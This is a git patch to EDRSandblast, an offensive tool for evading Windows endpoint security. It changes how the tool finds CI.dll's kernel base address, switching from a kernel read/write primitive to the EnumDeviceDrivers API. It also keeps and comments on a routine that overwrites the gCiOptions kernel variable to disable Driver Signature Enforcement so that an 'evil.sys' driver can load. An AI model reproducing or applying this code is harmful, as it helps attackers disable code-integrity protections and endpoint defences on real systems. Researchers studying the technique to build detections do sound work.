From 7590a11389e18f098010a8cc3d2369e4c62a749f Mon Sep 17 00:00:00 2001 From: Maxime Meignan Date: Mon, 9 Oct 2023 16:29:19 +0200 Subject: [PATCH] CiOptions: Simplifies the way CI.dll base address is recovered Instead of using the kernel R/W primitive, uses userland API to enumerate kernel modules --- EDRSandblast/Includes/KernelDSE.h | 4 ++- EDRSandblast/Includes/KernelUtils.h | 1 + EDRSandblast/Includes/PrintFunctions.h | 3 ++ EDRSandblast/KernellandBypass/KernelDSE.c | 38 +++++---------------- EDRSandblast/KernellandBypass/KernelUtils.c | 25 ++++++++++++++ EDRSandblast_CLI/EDRSandblast.c | 2 +- 6 files changed, 42 insertions(+), 31 deletions(-) diff --git a/EDRSandblast/Includes/KernelDSE.h b/EDRSandblast/Includes/KernelDSE.h index 25824ac..3cb547b 100644 --- a/EDRSandblast/Includes/KernelDSE.h +++ b/EDRSandblast/Includes/KernelDSE.h @@ -2,10 +2,12 @@ #pragma comment(lib, "ntdll.lib") #define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys") +#include "PrintFunctions.h" + #if !defined(PRINT_ERROR_AUTO) #define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()) #endif BOOLEAN IsCiEnabled(); -DWORD64 FindCIBaseAddress(BOOL verbose); +DWORD64 FindCIBaseAddress(); BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue); diff --git a/EDRSandblast/Includes/KernelUtils.h b/EDRSandblast/Includes/KernelUtils.h index 8dea929..4b9d7ef 100644 --- a/EDRSandblast/Includes/KernelUtils.h +++ b/EDRSandblast/Includes/KernelUtils.h @@ -2,6 +2,7 @@ #include DWORD64 FindNtoskrnlBaseAddress(void); +DWORD64 FindKernelModuleAddressByName(_In_ LPTSTR name); TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset); TCHAR* FindDriverPath(DWORD64 address); DWORD64 GetKernelFunctionAddress(LPCSTR function); diff --git a/EDRSandblast/Includes/PrintFunctions.h b/EDRSandblast/Includes/PrintFunctions.h index b8a7260..1d3e47d 100644 --- a/EDRSandblast/Includes/PrintFunctions.h +++ b/EDRSandblast/Includes/PrintFunctions.h @@ -1,5 +1,8 @@ #pragma once +#include +#include + #define NO_STRINGS 0 #if NO_STRINGS diff --git a/EDRSandblast/KernellandBypass/KernelDSE.c b/EDRSandblast/KernellandBypass/KernelDSE.c index 5228533..1700ab6 100644 --- a/EDRSandblast/KernellandBypass/KernelDSE.c +++ b/EDRSandblast/KernellandBypass/KernelDSE.c @@ -1,8 +1,6 @@ #include "windows.h" #include "KernelDSE.h" #include "winternl.h" -#include "stdio.h" // for printf -//#include "ntstatus.h" #include "KernelCallbacks.h" #include "NtoskrnlOffsets.h" #include "PrintFunctions.h" @@ -10,7 +8,6 @@ #include "KernelUtils.h" #include "tchar.h" -#define nullptr ((void*)0) BOOLEAN IsCiEnabled() { @@ -18,7 +15,7 @@ const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation, &CiInfo, sizeof(CiInfo), - nullptr); + NULL); if (!NT_SUCCESS(Status)) printf_or_not("[-] Failed to query code integrity status: %08X\n", Status); @@ -26,34 +23,17 @@ (CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED; } - DWORD64 FindCIBaseAddress(BOOL verbose) { - DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE); - SIZE_T CurrentEDRCallbacksCount = 0; - DWORD64 CiBaseAddress = 0; - DWORD64 driverOffset = 0; - DWORD64 callback = 0; - DWORD64 cbFunction = 0; - TCHAR* driver = NULL; - DWORD64 callback_struct = 0; - for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { - DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64))); - if (callback_struct != 0) { - callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ? - cbFunction = ReadMemoryDWORD64(callback); - driver = FindDriverName(cbFunction, &driverOffset); - if (_tcscmp(driver, L"CI.dll") == 0) { - CiBaseAddress = cbFunction - driverOffset; - if (verbose) - _tprintf_or_not(TEXT("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n"), driver, cbFunction, driverOffset, CiBaseAddress); - return CiBaseAddress; - } - } - } - */ + DWORD64 FindCIBaseAddress() { + DWORD64 CiBaseAddress = FindKernelModuleAddressByName(TEXT("CI.dll")); return CiBaseAddress; } - BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) { + /* + * Patches the gCiOptions global variable in CI.dll module to enable/disable DSE + * Warning: this technique does not work with KDP enabled (by default on Win 11). + * TODO: see https://www.fortinet.com/blog/threat-research/driver-signature-enforcement-tampering for ideas of new bypasses + */ + BOOL patch_gCiOptions(DWORD64 CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {//PRFIX : not KDP proof *OldCiOptionsValue = ReadMemoryDWORD(CiVariableAddress); //printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue); WriteMemoryDWORD(CiVariableAddress, CiOptionsValue); diff --git a/EDRSandblast/KernellandBypass/KernelUtils.c b/EDRSandblast/KernellandBypass/KernelUtils.c index 4b2b9cd..6d359d0 100644 --- a/EDRSandblast/KernellandBypass/KernelUtils.c +++ b/EDRSandblast/KernellandBypass/KernelUtils.c @@ -20,6 +20,31 @@ DWORD64 FindNtoskrnlBaseAddress(void) { return g_NtoskrnlBaseAddress; } + +/* +* Returns the kernel module's base address, given its name +*/ +DWORD64 FindKernelModuleAddressByName(_In_ LPTSTR name) { + LPVOID drivers[1024] = { 0 }; + DWORD cbNeeded; + DWORD cDrivers = 0; + TCHAR szDriver[1024] = { 0 }; + + if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) { + cDrivers = cbNeeded / sizeof(drivers[0]); + for (DWORD i = 0; i < cDrivers; i++) { + if (drivers[i] && GetDeviceDriverBaseName(drivers[i], szDriver, _countof(szDriver))) { + if (_tcsicmp(szDriver, name) == 0) { + return (DWORD64) drivers[i]; + } + } + } + } + _tprintf_or_not(TEXT("[!] Could not resolve %s kernel module's address\n"), name); + return 0; +} + + /* * Returns the name of the driver where "address" seems to be located * Optionnaly, return in "offset" the distance between "address" and the driver base address. diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index 8a1264d..bb7c945 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -724,7 +724,7 @@ Other options:\n\ DWORD64 g_CiOptionsAddress = 0; if (IsCiEnabled()) { - CiBaseAddress = FindCIBaseAddress(verbose); + CiBaseAddress = FindCIBaseAddress(); if (!CiBaseAddress) { _putts_or_not(TEXT("[-] CI base address not found !\n")); }